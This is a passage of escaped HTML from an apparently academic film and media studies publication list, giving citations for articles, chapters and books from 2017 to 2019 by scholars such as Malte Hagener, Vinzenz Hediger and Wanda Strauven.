Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/pacing-the-airport\/\">Link.<\/a><\/li>\n<li>Marie Sophie Beckmann:<br \/>\n<strong>Welcome Confinement: Notes on the Neck Pillow<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/welcome-confinement-notes-on-the-neck-pillow\/\">Link.<\/a><\/li>\n<li>Rebecca Boguska:<br \/>\n<strong>(Un)Weaving: Worlds of\/in Textile and Thread<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/unweaving-worlds-of-in-textile-and-thread\/\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Nicole Braida:<br \/>\n<strong>Airport as a Bordering Process<\/strong>, in: <em>Social Text Online<\/em>, 2019<strong>, <\/strong><a href=\"https:\/\/socialtextjournal.org\/periscope_article\/airport-as-a-bordering-process\/\">Link.<\/a><\/li>\n<li>Karin Fleck:<br \/>\n<strong>The Lost World<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/the-lost-world\/\">Link.<\/a><\/li>\n<li>Jan Mollenhauer:<br \/>\n<strong>Dream with Me about Unwinding<\/strong>, in: <em>Social Text Online<\/em>, 2019<strong>, <\/strong><a href=\"https:\/\/socialtextjournal.org\/periscope_article\/dream-with-me-about-unwinding\/\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>From Crane to Plane: Temporalities of a Bird-Inspired Design<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/from-crane-to-plane-temporalities-of-a-bird-inspired-design\/\">Link.<\/a><\/li>\n<li>Andrea\u00a0Polywka; Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>Introduction<\/strong>, in: Vinzenz Hediger, Beno\u00eet Turquety (ed.): <em>Medium, Format, Configuration: The Displacement of Film<\/em>, L\u00fcneburg:\u00a0Meson Press, 2019.<\/li>\n<li>Marin Reljic:<br \/>\n<strong>Customized Aviation Software Solutions<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/customized-aviation-software-solutions\/\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Philipp R\u00f6ding:<br \/>\n<strong>Groves of Post-Criticality: Quiet Rooms at the International Airport<\/strong>, in: <em>Social Text Online<\/em>, 2019, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/groves-of-post-criticality-quiet-rooms-at-the-international-airport\/\">Link.<\/a><\/li>\n<li>Wanda Strauven:<br \/>\n<b>Futurist Cinema<\/b>, in: G\u00fcnter Berghaus (ed.): <i>Handbook of International Futurism<\/i>, Berlin\/Boston: Walter de Gruyter, 2019, pp. 101-115, <a href=\"https:\/\/www.degruyter.com\/view\/product\/180336\">Link.<\/a><\/li>\n<li>Wanda Strauven:<br \/>\n<b>Media Archaeology as Laboratory for History Writing and Theory Making<\/b>, in: Ben Roberts; Mark Goodall (ed.): <i>New Media Archaeologies<\/i>, Amsterdam: Amsterdam University Press, 2019, pp. 23-43, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789462982161\/new-media-archaeologies\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener:<br \/>\n<\/span><b>Stories We Tell. Remembering Thomas Elsaesser<\/b><span style=\"font-weight: 400;\">. In: <\/span><i><span style=\"font-weight: 400;\">Necsus \u2013 European Journal of Media Studies<\/span><\/i><span style=\"font-weight: 400;\">. 12. Dezember 2019; <a href=\"https:\/\/necsus-ejms.org\/stories-we-tell-remembering-thomas-elsaesser\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<li>Malte Hagener:<br \/>\n<b>Von der Montage zum Compositing. Der Splitscreen bei Brian De Palma<\/b>. In: Martin Doll (Hg.): <i>Cutting Edge! Aktuelle Positionen der Filmmontage<\/i>. Berlin: Bertz + Fischer 2019: 186-200.<\/li>\n<li>Malte Hagener:<br \/>\n<b>Paris 1900: Bilder der Welt \u2013 die Welt als Bild<\/b>. In: Christian Kiening, Martina Stercken (Hg.): <i>Medialit\u00e4t. Historische Konstellationen<\/i>. Z\u00fcrich: Chronos 2019: 475-484.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>\u00a0Malte Hagener:<br \/>\n<b>\u00a0The Difficulty of the Plains. 6 Theses on Open Access<\/b>. In: Jeroen Sondervan (Hg.):<i> Open Access in Media Studies. <\/i><a href=\"https:\/\/oamediastudies.com\/the-difficulty-of-the-plains-6-theses-on-open-access\/?fbclid=IwAR30z7-iIvDtb0MgO5JgN5uJIGeC3_jET2wBiZbxdDb0RZPz8li4-y4injU\" target=\"_blank\" rel=\"noopener\">Link<\/a>. [first published 23.1.2019]<\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann; Malte Hagener:<br \/>\n<\/span><b>Viking Eggeling and European Avant-Garde Cinema<\/b><span style=\"font-weight: 400;\">, in: Benedikt Hjartarson; Andrea Kollnitz; Per Stounbjerg; Tania \u00d8rum (eds.): <\/span><i><span style=\"font-weight: 400;\">A Cultural History of the Avant-Garde in the Nordic Countries 1925-1950<\/span><\/i><span style=\"font-weight: 400;\">, vol. 2, Leiden: Koninklijke Brill NV, 2019, pp. 82-101, <a href=\"https:\/\/doi.org\/10.1163\/9789004388291_004\">Link.<\/a><\/span><\/li>\n<\/ul>\n<ul>\n<li>Marie Sophie Beckmann:<br \/>\n<strong>It wasn&#8217;t&#8230;pristine: (Re-)visiting the New York Film Festival Downtown<\/strong>, in:\u00a0<em>Cin\u00e9ma &amp; Cie. International Film Studies Journal<\/em>, 33 (XIX) 2019, pp. 21-37.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax, Julian Hanich:<br \/>\n<\/span><b>The Structures of the Film Experience by Jean-Pierre Meunier:<\/b> <b>Historical Assessments and Phenomenological Expansions<\/b><span style=\"font-weight: 400;\">, Amsterdam: Amsterdam University Press, 2019, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789462986565\/the-structures-of-the-film-experience-by-jean-pierre-meunier\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>Slow History: Cinema and Culture in the 2010s<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Senses of Cinema<\/span><\/i><span style=\"font-weight: 400;\">, 92,<\/span><span style=\"font-weight: 400;\"> October 2019, <a href=\"https:\/\/www.sensesofcinema.com\/2019\/cinema-in-the-2010s\/slow-history-cinema-and-culture-in-the-2010s\/\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>Straub\/Huillet\u2019s Ecological Communism<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Senses of Cinema<\/span><\/i><span style=\"font-weight: 400;\">, 88, <\/span><span style=\"font-weight: 400;\">October 2019, <a href=\"https:\/\/www.sensesofcinema.com\/2019\/jean-marie-straub-daniele-huillet\/straub-huillets-ecological-communism\/,\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>The Anxiety of Influence: <\/b><b><i>The Shining<\/i><\/b><b>, <\/b><b><i>Room 237<\/i><\/b><b> and Film Criticism<\/b><span style=\"font-weight: 400;\">, in: Jeremi Szaniawski (ed.): <\/span><i><span style=\"font-weight: 400;\">After Kubrick: A Filmmaker\u2019s Legacy<\/span><\/i><span style=\"font-weight: 400;\">, London: Bloomsbury, 2019.<\/span><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2018<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Rebecca Boguska:<br \/>\n<strong>Conference Review: \u201cThe Structures of the Film Experience: Jean-Pierre Meunier, Film-Phenomenology and Contemporary Film Studies&#8221;<\/strong>, in: <em>Cin\u00e9ma &amp; Cie. International Film Studies Journal<\/em>, 30 (XVIII) 2018, pp. 121\u2013123, <a href=\"https:\/\/www.cinemaetcie.net\/issue30\/\">Link<\/a>.<\/li>\n<li>Rebecca Boguska:<br \/>\n<strong>Queerness und Virtual Reality. Maria Gutas VR-Installation POV VR XXX<\/strong>, in:<i class=\"\"> Cinema 63: Zukunft<\/i>, 2018, pp. 51\u201365, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/568-zukunft.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Rebecca Boguska:<br \/>\n<strong>Tagungsbericht &#8220;Mit Meunier \u00fcber Meunier hinaus.&#8221; Das neue Leben von Jean-Pierre Meuniers Buch <em>Les structures de l\u2019exp\u00e9rience filmique: L\u2019identification filmique<\/em> (1969)<\/strong>, in: <em>Zeitschrift f\u00fcr Medienwissenschaft<\/em>, 2018 (online), <a href=\"http:\/\/www.zfmedienwissenschaft.de\/online\/%E2%80%B9mit-meunier-\u00fcber-meunier-hinaus%E2%80%BA\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Rebecca Boguska:<br \/>\n<strong><i class=\"\">Call of Comfort <\/i>oder Brenda Liens Aufruf zum Unbehagen<\/strong>, in: <i class=\"\">Positive Affirmations, Brenda Lien, <\/i>Frankfurt am Main: Berthold Druck, 2018.<\/li>\n<li>Nicole Braida:<br \/>\n<b>What if I were a refugee? How game structures in interactive media frame refugee stories. <\/b>In: Sai Felicia Krishna-Hensel (ed.): <i>Migrants, Refugees, and the Media: The New Reality of Open Societies<\/i>, London: Routledge, 2018, pp. 42-58, <a href=\"https:\/\/www.routledge.com\/Migrants-Refugees-and-the-Media-The-New-Reality-of-Open-Societies\/Krishna-Hensel\/p\/book\/9780815377177\">Link<\/a><\/li>\n<li>Vinzenz Hediger:<br \/>\n<b>Can We Leave The Cave and Have It Too? On the Meaning of Cinema as Technology<\/b>, in: Santiago Hidalgo (ed.): <em>Technology and Film Spectatorship. Experience, Study, Theory<\/em>,\u00a0Amsterdam: Amsterdam University Press, 2018, pp. 213-238<b>.<\/b><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Vinzenz Hediger:<br \/>\n<b>Epistemology of the Checkpoint. Gillo Pontecorvo\u2019s Battaglia di Algeri and the Doctrine of Counterinsurgency<\/b>, in: Lee Grieveson; Haidee Wasson (ed.): <em>Cinema\u2019s Military Industrial Complex<\/em>. Berkeley: University of California Press, 2018, pp. 157-176.<\/li>\n<li>Vinzenz Hediger:<br \/>\n<strong>Die vierte Regierungstechnologie. \u00dcber Blockchain. Ein Gespr\u00e4ch mit Jason Potts<\/strong>, in: <em>Zeitschrift f\u00fcr Medienwissenschaft<\/em>, 18, 2018, pp. 73-86, <a href=\"https:\/\/www.degruyter.com\/view\/j\/zfmw.2018.10.issue-1\/zfmw-2018-0108\/zfmw-2018-0108.xml\">Link.<\/a><\/li>\n<li>Vinzenz Hediger; Monika Dommann; Florian Hoof:<br \/>\n<strong>Medien\u00f6konomien. Einleitung in den Schwerpunkt<\/strong>, in: <em>Zeitschrift f\u00fcr Medienwissenschaft<\/em>, 18, 2018, pp. 10-17, <a href=\"https:\/\/www.degruyter.com\/view\/j\/zfmw.2018.10.issue-1\/zfmw-2018-0102\/zfmw-2018-0102.xml\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Vinzenz Hediger:<br \/>\n<strong>Kanonbildung im Gegenmedium. Warum an den B\u00fchnenh\u00e4usern Theatertrailer immer mehr in Mode kommen<\/strong>, in: <em>Frankfurter Allgemeine Zeitung,<\/em> February 24th, 2018.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Hier und jetzt. Das Buch loslassen<\/strong>, in: Anke Jaspers; Claudia Michalski; Morten Paul (ed.): <em>Ein kleines rotes Buch. \u00dcber die Mao-Bibel und die B\u00fccher-Revolution der Sechzigerjahre<\/em>,\u00a0Berlin: Matthes &amp; Seitz, 2018, pp. 205\u2013217, <a href=\"https:\/\/www.matthes-seitz-berlin.de\/buch\/ein-kleines-rotes-buch.htm\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Sonnenstrahl, wieder und wieder<\/strong>, in: Christian Ewald; Petra L\u00f6ffler; Marc Ries (ed.): <em>Kino Arbeit Liebe. Hommage an Elisabeth B\u00fcttner<\/em>,\u00a0Berlin: Vorwerk8, 2018, pp. 129\u2013141, <a href=\"http:\/\/www.vorwerk8.de\/programm-titel-ansicht.php?id=239&amp;am=6\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><span style=\"font-weight: 400;\">\u00a0<\/span><b>Geschichte der filmanalytischen Standardwerke<\/b><span style=\"font-weight: 400;\">. In: Malte Hagener, Volker Pantenburg (Hg.):<\/span><i><span style=\"font-weight: 400;\"> Handbuch Filmanalyse. <\/span><\/i><span style=\"font-weight: 400;\">Wiesbaden: Springer VS 2020: 471-483. <a href=\"http:\/\/dx.doi.org\/10.1007\/978-3-658-13352-8_29-1\" target=\"_blank\" rel=\"noopener\">Link <\/a>.<\/span><span style=\"font-weight: 400;\">\u00a0[online-Publikation vorab \u2013 2018]<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener<\/span><span style=\"font-weight: 400;\">,\u00a0 Annie van den Oever: <\/span><b>Early Cinema, Sergei Eisenstein and Film Culture Today. An Interview with Ian Christie on New Directions in Film History<\/b><span style=\"font-weight: 400;\">. In: <\/span><i><span style=\"font-weight: 400;\">Necsus \u2013 European Journal of Media Studies<\/span><\/i><span style=\"font-weight: 400;\">, autumn 2018; <a href=\"https:\/\/necsus-ejms.org\/early-cinema-sergei-eisenstein-and-film-culture-today-an-interview-with-ian-christie-on-new-directions-in-film-history\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Digital\/digitus. Die Geste in den Pixar-Animationsfilmen<\/b><span style=\"font-weight: 400;\">. In: Hans-Joachim Backe, Julia Eckel, Erwin Feyersinger, V\u00e9ronique Sina, Jan-Noel Thon (Hg.): <\/span><i><span style=\"font-weight: 400;\">\u00c4sthetik des Gemachten. Interdisziplin\u00e4re Beitr\u00e4ge zur Animations- und Comicforschung<\/span><\/i><span style=\"font-weight: 400;\">. Berlin, Boston: Walter de Gruyter 2018: 11-26.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener:<\/span> <b>Migration and refugees in German cinema: transnational entanglements<\/b><span style=\"font-weight: 400;\">. In: <\/span><i><span style=\"font-weight: 400;\">Studies in European Cinema<\/span><\/i><span style=\"font-weight: 400;\">, vol. 15, no. 2-3 (Recent Quality Film and the Future of the Republic of Europe), 2018: 110-124.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Um filme portugu\u00eas e o seu context Europeu.<\/b><span style=\"font-weight: 400;\"> In: Tiago Baptista (Hg.): <\/span><i><span style=\"font-weight: 400;\">Lisboa, cr\u00f3nica aned\u00f3tica. <\/span><\/i><span style=\"font-weight: 400;\">Lisboa: Cinemateca Portuguesa 2018: 21-25. [Brosch\u00fcre zur Neuedition des Films auf DVD; 59-62 auf Englisch]<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Konzentrische Kreise. Filmgeschichte als Matrix im Werk von Christian Petzold<\/b><span style=\"font-weight: 400;\">. In: Ilka Brombach, Tina Kaiser (Hg.): <\/span><i><span style=\"font-weight: 400;\">\u00dcber Christian Petzold<\/span><\/i><span style=\"font-weight: 400;\">. Berlin: Vorwerk 8 2018: 159-171.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>L\u00e1szl\u00f3 Moholy-Nagy and the City (Symphony)<\/b><span style=\"font-weight: 400;\">. In: Steven Jacobs, Eva Hielscher, Anthony Kinik (Hrsg.): <\/span><i><span style=\"font-weight: 400;\">The City Symphony Phenomenon. Cinema, Art, and Urban Modernity Between the Wars<\/span><\/i><span style=\"font-weight: 400;\">. London and New York: Routledge 2018. (An AFI Film Reader): 45-55.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Filmvermittlung<\/b><span style=\"font-weight: 400;\">. In: <\/span><span style=\"font-weight: 400;\">In: <\/span><span style=\"font-weight: 400;\">Alexander Geimer, Christian Heinze, Rainer Winter (Hg.):<\/span><i><span style=\"font-weight: 400;\"> Handbuch Filmsoziologie. <\/span><\/i><span style=\"font-weight: 400;\">Wiesbaden: Springer VS 2019. <a href=\"https:\/\/doi.org\/10.1007\/978-3-658-10947-9_73-1\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Laliv Melamed; Jason Fox:<br \/>\n<b>Introduction: Ways of Organizing<\/b>, in: Jason Fox; Laliv Melamed (ed.): <i>World Records<\/i>, special issue: Ways of Organizing, 2, 2018. <a href=\"https:\/\/vols.worldrecordsjournal.org\/02\/01\">Link<\/a>.<\/li>\n<li>Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>From Technical to Cinematographic Objects in 2001: A Space Odyssey<\/strong>, in: James Fenwick (ed.): <em>Understanding Kubrick&#8217;s 2001 A Space Odyssey: Representation and Interpretation<\/em>, London: Intellect Ltd, 2018.<\/li>\n<li>Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>Three Kubrickian Machinic Characters and their Technical Malfunctions<\/strong>, in <em>Cinergie. Il Cinema e le altre arti<\/em>, 12, 2018, pp. 9-19.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>Format Matters: A Conference Review<\/strong>, in:\u00a0<em>Cin\u00e9ma &amp; Cie. International Film Studies Journal, <\/em>31 (XIX\u00a0 2018, pp.137-140.<\/li>\n<li>Martin Seel:<br \/>\n<strong><b>Nichtrechthabenwollen, <\/b><\/strong>Frankfurt am Main: Fischer, 2018, <a href=\"https:\/\/www.fischerverlage.de\/buch\/martin_seel_nichtrechthabenwollen\/9783103972238\">Link<\/a>.<\/li>\n<li>Marc Siegel; Jonas Mekas; et al. (ed.):<br \/>\n<b>Film Culture 80: The Legend of Barbara Rubin<\/b><em>,<\/em>\u00a0Leipzig: Spector Books, 2018, <a href=\"http:\/\/spectorbooks.com\/the-legend-of-barbara-rubin\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Marc Siegel; Christian Hiller:<br \/>\n<b>Edit Film Culture!,<\/b> in: Marc Siegel; Jonas Mekas; et al. (ed.): <i>Film Culture 80: The Legend of Barbara Rubin<\/i>,\u00a0Leipzig: Spector Books, 2018, pp. 203\u2013206, <a href=\"http:\/\/spectorbooks.com\/the-legend-of-barbara-rubin\">Link<\/a>.<\/li>\n<li>Marc Siegel:<br \/>\n<b>It&#8217;s Part of the Palette: Vegard Vinge in Conversation<\/b>, in: <i>norsk shakespeare tidsskrift<\/i>, 2, 2018, pp. 66\u201381, <a href=\"http:\/\/shakespearetidsskrift.no\/nummer-2-2018\">Link<\/a>.<\/li>\n<li>Marc Siegel:<br \/>\n<b>Longing Is Your Own Affair (I Always Remained Underground)<\/b>, in: Roy Grundmann (ed.): <i>Werner Schroeter<\/i>,\u00a0Wien: Synema, 2018, pp. 66\u201377.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven:<br \/>\n<strong>Marinetti\u2019s <i>Tattilismo<\/i> Revisited: Hand Travels, Tactile Screens and Touch Cinema in the 21<sup>st<\/sup> Century<\/strong>, in: Rossella Catanese (ed.): \u00a0<i>Futurist Cinema<\/i>, Amsterdam: Amsterdam University Press, 2018, pp. 69\u201387, <a href=\"https:\/\/en.aup.nl\/books\/9789089647528-futurist-cinema.htm\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Wanda Strauven:<br \/>\n<strong>La prassi (rumorosa) dell\u2019archeologia dei media<\/strong>, in: Guiseppe Fidotta; Andrea Mariani (ed.): <i>Archeologia dei media. Temporalit\u00e0, materia, tecnologia<\/i>, Milan: Meltemi, 2018, pp. 179\u2013197, <a href=\"https:\/\/en.aup.nl\/books\/9789089647528-futurist-cinema.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Wanda Strauven; Alexandra Schneider:<br \/>\n<span lang=\"EN-GB\"><strong>The Kid Selfie as Self-Inscription: Re-Inventing an Emerging Media Practice<\/strong>, in: Julia Eckel, et al. (ed.): <i>Exploring the Selfie: Historical, Theoretical, and Analytical Approaches to Digital Self-Photography<\/i>, London: Palgrave Macmillan, 2018, pp. 327\u2013350, <a href=\"https:\/\/www.palgrave.com\/de\/book\/9783319579481\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven:<br \/>\n<strong>The Unseen D\u00e9j\u00e0-Vu: From Erkki Huhtamo\u2019s\u00a0<i>Topoi<\/i>\u00a0to Ken Jacobs\u2019 Remakes<\/strong>, in:\u00a0<i>The Documentary Real<\/i>, special issue of\u00a0<i>Foundations of<\/i> <em>Science<\/em>,\u00a0 2 (23) 2018, pp. \u00a0231-236, <a href=\"https:\/\/link.springer.com\/journal\/10699\/23\/2\/page\/1\">Link<\/a>.<\/li>\n<li>Wanda Strauven; Alexandra Schneider; Mariagrazia Fanchi:<br \/>\n<b>iGeneration and Cinema: Genres, Spectatorship, and Mediascape<\/b>, in: <i>iGen Cinema. Moving Image Consumption and Production by Post-Millennials<\/i>, special issue of <i>Comunicazioni sociali<\/i>, 2,\u00a02018, pp. 117-123, <a href=\"http:\/\/comunicazionisociali.vitaepensiero.it\/scheda-fascicolo_contenitore_digital\/autori-vari\/comunicazioni-sociali-2018-2-igen-cinemamoving-image-consumption-and-production-by-post-millennials-001200_2018_0002-346093.html\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2017<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Sonia Campanini; Vinzenz Hediger; Ines Bayer:<br \/>\n<strong>Minding the Materiality of Film. The Frankfurt Master Program in Film Culture<\/strong>, in: <em>Synoptique<\/em>,\u00a01 (6) 2017, pp. 79-90, <a href=\"http:\/\/synoptique.hybrid.concordia.ca\/index.php\/main\/article\/view\/202\">Link.<\/a><\/li>\n<li>Malte Hagener; \u00cdngrid Vendrell Ferran:<br \/>\n<strong>Einleitung. Empathie im Film<\/strong>, in: Malte Hagener; \u00cdngrid Vendrell Ferran (ed.): <em>Empathie im Film. Perspektiven der \u00c4sthetischen Theorie, Ph\u00e4nomenologie und Analytischen Philosophie, <\/em>Bielefeld: transcript, 2017, pp. 7\u201330, <a href=\"https:\/\/www.transcript-verlag.de\/978-3-8376-3258-3\/empathie-im-film\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Malte Hagener:<br \/>\n<strong>Down the Rabbit Hole with Brian de Palma<\/strong>, in: Ruggero Eugeni; Mariagrazia Fanchi (ed.): <em>La Galassia Casetti. Lettere di amicizia, stima, provocazione<\/em>, Milan: Vita e Pensiero, 2017, pp. 140\u2013142, <a href=\"http:\/\/www.vitaepensiero.it\/scheda-libro\/autori-vari\/la-galassia-casetti-9788834333273-334432.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener:<br \/>\n<strong>Taking a Trip: Tourism and Film as Interrelated Fields<\/strong>, in: Sofia Sampaio (ed.): <em>Viagens, olhares e imagens. Portugal 1910-1980, <\/em>Lisbon: Cinemateca Portuguesa, 2017, pp. 164\u2013167.<\/li>\n<li>Vinzenz Hediger; Alexandra Schneider; Yvonne Zimmermann:<br \/>\n<strong>Das durchgestrichene Meisterwerk<\/strong>, in:\u00a0<em>Montage AV<\/em>, 2 (26) 2017,\u00a0pp.\u00a0175\u2013181, <a href=\"https:\/\/publications.ub.uni-mainz.de\/opus\/frontdoor.php?source_opus=58111\" target=\"_blank\" rel=\"noopener\">Link.<\/a><\/li>\n<li>Vinzenz Hediger:<br \/>\n<strong>Gene, Gehirn, Archiv. \u00dcber den Ort der menschlichen Natur im humanthologischen Filmarchiv<\/strong>, in: <em>Zeitschrift f\u00fcr Medien- und Kulturforschung<\/em>, 2 (8), 2017, pp. 11-28.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Vinzenz Hediger:<br \/>\n<strong>The\u00a0 Operatic Mode of Industrial Cinema. A Note on the Opening (and Closing) Frames of Visconti\u2019s <em>La Caduta degli dei<\/em><\/strong><em>,<\/em> in: Francesco Pitassio; et al. (ed.): <em>Wer ist Leonardo? From Caligari to the Cinema Without Names<\/em>,\u00a0Milan: Mimesis, 2017, pp. 307-312.<\/li>\n<li>Vinzenz Hediger; Miriam De Rosa (ed.):<br \/>\n<strong>Post when? Post what? Thinking the Moving Image Beyond the Post-Medium Condition<\/strong>. <em>Cinema &amp; Cie<\/em>, 26\/27 (XIV), 2017.<\/li>\n<li>Bernd Herzogenrath:<br \/>\n<strong>Aesthetics of the Archive: An Introduction,\u00a0<\/strong>and <strong><em>Decasia<\/em>: The Matter-Image: Film is Also a Thing,<\/strong> in: Bernd Herzogenrath (ed.): <em>The Films of Bill Morrison: Aesthetics of the Archive<\/em>, Amsterdam: Amsterdam University Press, 2017, pp. 11\u201330, 84\u201396, <a href=\"http:\/\/en.aup.nl\/books\/9789089649966-the-films-of-bill-morrison.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Bernd Herzogenrath:<br \/>\n<strong>Film and \/ as Philosophy: An Elective Affinity?<\/strong>, and <strong>Strange Topologics: Deleuze Takes a Ride down David Lynch\u2019s <em>Lost Highway, <\/em><\/strong>in: Bernd Herzogenrath (ed.): <em>Film and|as Philosophy,\u00a0<\/em>Minneapolis: University of Minnesota Press, 2017, pp. 11\u201322, 161\u2013179, <a href=\"https:\/\/www.upress.umn.edu\/book-division\/books\/film-as-philosophy\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Bernd Herzogenrath:<br \/>\n<strong>Sonic Thinking \u2013 an Introduction<\/strong>, and <strong>in|human rhythms,<\/strong> in: Bernd Herzogenrath (ed.): <em>Sonic Thinking: A Media Philosophical Approach<\/em>, London: Bloomsbury Academics, 2017, pp. 1\u201322, 111\u2013134, <a href=\"https:\/\/www.bloomsbury.com\/uk\/sonic-thinking-9781501327209\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Bernd Herzogenrath:<br \/>\n<strong>&#8220;This is Some Spooky Shit We Got Here.&#8221; Seltsame Topo|Logiken in David Lynch\u2019s <em>Lost<\/em> <\/strong><em><strong>Highway<\/strong>,<\/em> in: Johannes Binotto (ed.): <em>Film | Architektur. Perspektiven des Kinos auf den Raum,<\/em>\u00a0G\u00fctersloh\/Berlin\/Basel:\u00a0Bauverlag Birkh\u00e4user, 2017, pp. 190\u2013206.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Bernd Herzogenrath:<br \/>\n<strong>Games That Play People: The Strange Case of D. Cronenberg<\/strong>, in: <em>Clash of Realities 2015\/16<\/em>. Bielefeld: transcript, 2017, pp. 481\u2013488.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Agent im Kreis<\/strong>, in: Malte Hagener; Volker Pantenburg (ed.): <em>Handbuch Filmanalyse,<\/em>\u00a0Wiesbaden: Springer VS, 2017, pp. 1\u201316,\u00a0<a href=\"https:\/\/link.springer.com\/referenceworkentry\/10.1007\/978-3-658-13352-8_18-1\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Ausstieg Frankfurt<\/strong>, in: Johannes Binotto (ed.): <em>Film | Architektur. Perspektiven des Kinos auf den Raum,<\/em> G\u00fctersloh\/Berlin\/Basel: Bauverlag Birkh\u00e4user, 2017, pp. 150\u2013168, <a href=\"https:\/\/www.degruyter.com\/viewbooktoc\/product\/489718?rskey=MySJBj&amp;result=4\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Die japanischen G\u00e4rten der Filmphilologie<\/strong>, in: Friedrich Balke; Rupert Graderer (ed.): <em>Medienphilologie. Konturen eines Paradigmas,<\/em> G\u00f6ttingen: Wallstein, 2017, pp. 285\u2013305, <a href=\"http:\/\/www.wallstein-verlag.de\/9783835330429-medienphilologie.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Rahmenhandlungen<\/strong>, in: Anna H\u00e4usler; Jan Henschen (ed.): <em>Storyboarding: Filmisches Entwerfen,\u00a0<\/em>Marburg: Sch\u00fcren, 2017, pp. 102\u2013126, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/553-storyboarding.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Rembert H\u00fcser:<br \/>\n<strong>Abu 